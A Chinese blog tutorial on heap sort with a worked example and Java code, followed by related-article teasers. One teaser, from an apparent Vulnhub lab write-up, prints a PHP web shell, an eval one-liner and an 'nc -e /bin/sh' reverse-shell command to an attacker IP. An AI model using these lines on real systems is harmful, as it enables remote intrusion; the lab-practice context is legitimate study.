宝藏速成秘籍(7)堆排序法

一、前言

1.1、概念

       堆排序(Heapsort)是指利用堆这种数据结构所设计的一种排序算法 。堆是一个近似 完全二叉树 的结构,并同时满足堆积的性质:即子结点的键值或索引总是小于(或者大于)它的父节点。

 1.2、排序步骤  

  1. 构建最大堆(或最小堆):将待排序的数组构建为一个最大堆(或最小堆)。这可以通过从数组末尾开始,依次将每个节点调整到合适的位置来实现。调整的方法是将当前节点与其父节点比较,如果当前节点大于(或小于)父节点,则交换它们的位置,并重复这个过程直到当前节点符合最大堆(或最小堆)的性质。

  2. 交换堆顶和末尾元素:将最大堆(或最小堆)的堆顶元素与数组的最后一个元素交换位置。

  3. 破坏堆性质:将数组末尾的元素从堆中移除,即将数组的长度减一,并且将堆的根节点进行一次调整,使得剩余元素仍然满足最大堆(或最小堆)的性质。

  4. 重复步骤2和步骤3,直到堆的大小为1,即只剩下一个元素。

  5. 排序完成:最后得到的数组就是一个有序序列。

二、方法分析

       堆排序是一种基于堆数据结构的比较排序算法。堆是一种完全二叉树,分为最大堆和最小堆。在最大堆中,每个节点的值都大于或等于其子节点的值;在最小堆中,每个节点的值都小于或等于其子节点的值。堆排序通常使用最大堆进行升序排序。堆排序分为两个主要步骤:构建堆和排序。

三、举例说明 

对数组 `[4, 10, 3, 5, 1]` 进行堆排序

#### 步骤 1:构建最大堆

将数组视为一个完全二叉树,然后从最后一个非叶子节点开始,向前调整每个节点,使其符合最大堆的性质。

1. 初始数组: `[4, 10, 3, 5, 1]`
   - 二叉树表示:  

         4/ \10  3/  \5    1

2. 从最后一个非叶子节点开始调整(节点 `10`,索引 `1`)。
   - 节点 `10` 已经大于它的子节点,所以不需要调整。

3. 调整节点 `4`(索引 `0`)。
   - 节点 `4` 的子节点为 `10` 和 `3`。由于 `10` 最大,将 `4` 和 `10` 交换。
   - 调整后数组: `[10, 4, 3, 5, 1]`
   - 二叉树表示:

         10/ \4   3/ \5   1

- 继续调整节点 `4`。它的子节点为 `5` 和 `1`,将 `4` 和 `5` 交换。
   - 调整后数组: `[10, 5, 3, 4, 1]`
   - 二叉树表示:
    

         10/ \5   3/ \4   1

现在,我们已经构建了一个最大堆。

#### 步骤 2:排序

将堆顶元素(最大值)与堆的最后一个元素交换,然后将剩余元素重新调整为最大堆,重复该过程直到所有元素有序。

1. 交换 `10` 和 `1`,并调整剩余部分为最大堆。
   - 调整后数组: `[1, 5, 3, 4, 10]`
   - 重新调整:

         1/ \5   3/4

 - 节点 `1` 的子节点为 `5` 和 `3`,将 `1` 和 `5` 交换。
   - 调整后数组: `[5, 1, 3, 4, 10]`
   - 继续调整节点 `1`,将 `1` 和 `4` 交换。
   - 调整后数组: `[5, 4, 3, 1, 10]`
   - 二叉树表示:

         5/ \4   3/1

2. 交换 `5` 和 `1`,并调整剩余部分为最大堆。
   - 调整后数组: `[1, 4, 3, 5, 10]`
   - 重新调整:

         1/ \4   3

   - 节点 `1` 的子节点为 `4` 和 `3`,将 `1` 和 `4` 交换。
   - 调整后数组: `[4, 1, 3, 5, 10]`
   - 二叉树表示:

         4/ \1   3

3. 交换 `4` 和 `3`,并调整剩余部分为最大堆。
   - 调整后数组: `[3, 1, 4, 5, 10]`
   - 重新调整:

         3/ 1

  - 节点 `3` 的子节点为 `1`,不需要调整。

4. 交换 `3` 和 `1`。
   - 调整后数组: `[1, 3, 4, 5, 10]`
   - 重新调整:没有需要调整的部分。

最终,数组变为有序的 `[1, 3, 4, 5, 10]`。

通过上述步骤,堆排序成功地对数组进行了升序排列。

四、编码实现 

 下面是用Java实现的堆排序算法:

public class HeapSort {public static void main(String[] args) {int[] arr = {4, 10, 3, 5, 1};heapSort(arr);System.out.println("排序后的数组:");for (int num : arr) {System.out.print(num + " ");}}public static void heapSort(int[] arr) {// 构建大顶堆for (int i = arr.length / 2 - 1; i >= 0; i--) {adjustHeap(arr, i, arr.length);}// 调整堆结构+交换堆顶元素与末尾元素for (int j = arr.length - 1; j > 0; j--) {swap(arr, 0, j);adjustHeap(arr, 0, j);}}public static void adjustHeap(int[] arr, int i, int length) {int temp = arr[i]; // 先取出当前元素ifor (int k = i * 2 + 1; k < length; k = k * 2 + 1) { // 从i结点的左子结点开始,也就是2i+1处开始if (k + 1 < length && arr[k] < arr[k + 1]) { // 如果左子结点小于右子结点,k指向右子结点k++;}if (arr[k] > temp) { // 如果子节点大于父节点,将子节点值赋给父节点(不用进行交换)arr[i] = arr[k];i = k;} else {break;}}arr[i] = temp; // 将temp值放到最终的位置}public static void swap(int[] arr, int a, int b) {int temp = arr[a];arr[a] = arr[b];arr[b] = temp;}
}

 五、方法评价 

  1. 时间复杂度:堆排序的时间复杂度是O(nlogn),其中n是待排序数组的长度。构建堆的时间复杂度是O(n),每次调整堆的时间复杂度是O(logn),共需要进行n-1次调整。因此,总的时间复杂度为O(nlogn)。

  2. 空间复杂度:堆排序的空间复杂度为O(1),即不需要额外的空间进行排序。

  3. 稳定性:堆排序是一种不稳定的排序算法。在交换堆顶和末尾元素的过程中,可能会改变相同元素的相对顺序。

  4. 原地排序:堆排序是一种原地排序算法,即不需要额外的辅助空间。

 结语 

容易实现的那不叫梦想

轻言放弃的算不上努力

想成功,先发疯,不顾一切向前冲

!!!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/350737.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

重生之 SpringBoot3 入门保姆级学习(19、场景整合 CentOS7 Docker 的安装)

重生之 SpringBoot3 入门保姆级学习&#xff08;19、场景整合 CentOS7 Docker 的安装&#xff09; 6、场景整合6.1 Docker 6、场景整合 6.1 Docker 官网 https://docs.docker.com/查看自己的 CentOS配置 cat /etc/os-releaseStep 1: 安装必要的一些系统工具 sudo yum insta…

React state(及组件) 的保留与重置

当在树中相同的位置渲染相同的组件时&#xff0c;React 会一直保留着组件的 state return (<div><Counter />{showB && <Counter />} </div> ) // 当 showB 为 false, 第二个计数器停止渲染&#xff0c;它的 state 完全消失了。这是因为 React…

Github 2024-06-14 开源项目日报Top10

根据Github Trendings的统计,今日(2024-06-14统计)共有10个项目上榜。根据开发语言中项目的数量,汇总情况如下: 开发语言项目数量JavaScript项目2Python项目2非开发语言项目2TypeScript项目1Dart项目1Rust项目1Lua项目1Java项目1Jupyter Notebook项目1从零开始构建你喜爱的技…

解决 kali 中使用 vulhub 拉取不到镜像问题

由于默认情况下&#xff0c;访问的镜像是国外的&#xff0c;而从 2023 年开始&#xff0c;docker 的镜像网站就一直访问不了&#xff0c;所以我们可以把镜像地址改成国内的阿里云镜像地址。 1、在 cd /etc/docker/目录下创建或修改daemon.json文件 sudo touch daemon.json 2、在…

MySQL之高级特性(一)

高级特性 外键约束 InnoDB是目前MySQL中唯一支持外键的内置存储引擎&#xff0c;所以如果需要外键支持那选择就不多了。使用外键是有成本的。比如外键通常都要求每次在修改数据时都要在另一张表中多执行一次查找操作。虽然InnoDB强制外键使用索引&#xff0c;但还是无法消除这…

【启明智显彩屏应用】Model3A 7寸触摸彩屏的充电桩应用方案

一、充电桩概述 &#xff08;一&#xff09;充电桩诞生背景 随着社会的进步和人们生活质量的提升&#xff0c;汽车已逐渐融入每个家庭的日常生活中。然而&#xff0c;汽车数量的激增也带来了严重的环境污染问题&#xff0c;特别是尾气排放。为了应对这一挑战&#xff0c;新能源…

HTML静态网页成品作业(HTML+CSS)—— 零食商城网页(1个页面)

&#x1f389;不定期分享源码&#xff0c;关注不丢失哦 文章目录 一、作品介绍二、作品演示三、代码目录四、网站代码HTML部分代码 五、源码获取 一、作品介绍 &#x1f3f7;️本套采用HTMLCSS&#xff0c;未使用Javacsript代码&#xff0c;共有1个页面。 二、作品演示 三、代…

【计算机网络仿真实验-实验2.6】带交换机的RIP路由协议

实验2.6 带交换机的rip路由协议 1. 实验拓扑图 2. 实验前查看是否能ping通 不能 3. 三层交换机配置 switch# configure terminal switch(config)# hostname s5750 !将交换机更名为S5750 S5750# configure terminal S5750(config)#vlan 10 S5750(config-vlan)#exit S57…

Spring运维之boo项目表现层测试匹配响应执行状态响应体JSON和响应头

匹配响应执行状态 我们创建了测试环境 而且发送了虚拟的请求 我们接下来要进行验证 验证请求和预期值是否匹配 MVC结果匹配器 匹配上了 匹配失败 package com.example.demo;import org.junit.jupiter.api.Test; import org.springframework.beans.factory.annotation.Auto…

可解析PHP的反弹shell方法

这里拿vulnhub-DC-8靶场反弹shell&#xff0c;详情见Vulnhub-DC-8 命令执行 拿nc举例 <?php echo system($_POST[cmd]); ?>利用是hackbar&#xff0c;POST提交cmdnc -e /bin/sh 192.168.20.128 6666, 直接反弹shell到kali。 一句话木马 <?php eval($_POST[&qu…

MySQL学习笔记-进阶篇-SQL优化

SQL优化 插入数据 insert优化 1&#xff09;批量插入 insert into tb_user values(1,Tom),(2,Cat),(3,Jerry); 2&#xff09;手动提交事务 mysql 默认是自动提交事务&#xff0c;这样会导致频繁的开启和提交事务&#xff0c;影响性能 start transaction insert into tb_us…

亚马逊测评自养号与机刷的区别

前言&#xff1a; 在亚马逊运营的领域中&#xff0c;经常有人问&#xff1a;测评自养号就是机刷吗&#xff1f;它们两者有什么区别&#xff1f;做自养号太慢、太需要时间了&#xff0c;如果用机刷的话&#xff0c;会不会简单高效一点&#xff1f; 在这篇文章中&#xff0c;我…

【设计模式深度剖析】【8】【行为型】【备忘录模式】| 以后悔药为例加深理解

&#x1f448;️上一篇:观察者模式 设计模式-专栏&#x1f448;️ 文章目录 备忘录模式定义英文原话直译如何理解呢&#xff1f; 3个角色1. Memento&#xff08;备忘录&#xff09;2. Originator&#xff08;原发器&#xff09;3. Caretaker&#xff08;负责人&#xff09;类…

Unity基础(三)3D场景搭建

目录 简介: 一.下载新手资源 二.创建基本地形 三.添加场景细节 四,添加水 五,其他 六. 总结 简介: 在 Unity 中进行 3D 场景搭建是创建富有立体感和真实感的虚拟环境的关键步骤。 首先&#xff0c;需要导入各种 3D 模型资源&#xff0c;如建筑物、角色、道具等。这些模…

181.二叉树:验证二叉树(力扣)

代码解决 /*** Definition for a binary tree node.* struct TreeNode {* int val;* TreeNode *left;* TreeNode *right;* TreeNode() : val(0), left(nullptr), right(nullptr) {}* TreeNode(int x) : val(x), left(nullptr), right(nullptr) {}* Tre…

Linux rm命令由于要删的文件太多报-bash: /usr/bin/rm:参数列表过长,无法删除的解决办法

银河麒麟系统&#xff0c;在使用rm命令删除文件时报了如下错误&#xff0c;删不掉&#xff1a; 查了一下&#xff0c;原因就是要删除的文件太多了&#xff0c;例如我当前要删的文件共有这么多&#xff1a; 查到了解决办法&#xff0c;记录在此。需要使用xargs命令来解决参数列表…

【Vue】Pinia管理用户数据

Pinia管理用户数据 基本思想&#xff1a;Pinia负责用户数据相关的state和action&#xff0c;组件中只负责触发action函数并传递参数 步骤1&#xff1a;创建userStore 1-创建store/userStore.js import { loginAPI } from /apis/user export const useUserStore defineStore(…

ADS基础教程20 - 电磁仿真(EM)参数化

EM介绍 一、引言二、参数化设置1.参数定义2.参数赋值3.创建EM模型和符号 四、总结 一、引言 参数化EM仿真&#xff0c;是在Layout环境下创建参数&#xff0c;相当于在原理图中声明变量。 二、参数化设置 1.参数定义 1&#xff09;在Layout视图&#xff0c;菜单栏中选中EM&g…

鸿蒙 游戏来了 鸿蒙版 五子棋来了 我不允许你不会

团队介绍 作者:徐庆 团队:坚果派 公众号:“大前端之旅” 润开鸿生态技术专家,华为HDE,CSDN博客专家,CSDN超级个体,CSDN特邀嘉宾,InfoQ签约作者,OpenHarmony布道师,电子发烧友专家博客,51CTO博客专家,擅长HarmonyOS/OpenHarmony应用开发、熟悉服务卡片开发。欢迎合…

SpringBoot整合H2数据库并将其打包成jar包、转换成exe文件

SpringBoot整合H2数据库并将其打包成jar包、转换成exe文件 H2 是一个用 Java 开发的嵌入式数据库&#xff0c;它的主要特性使其成为嵌入式应用程序的理想选择。H2 仅是一个类库&#xff0c;可以直接嵌入到应用项目中&#xff0c;而无需独立安装客户端和服务器端。 常用开源数…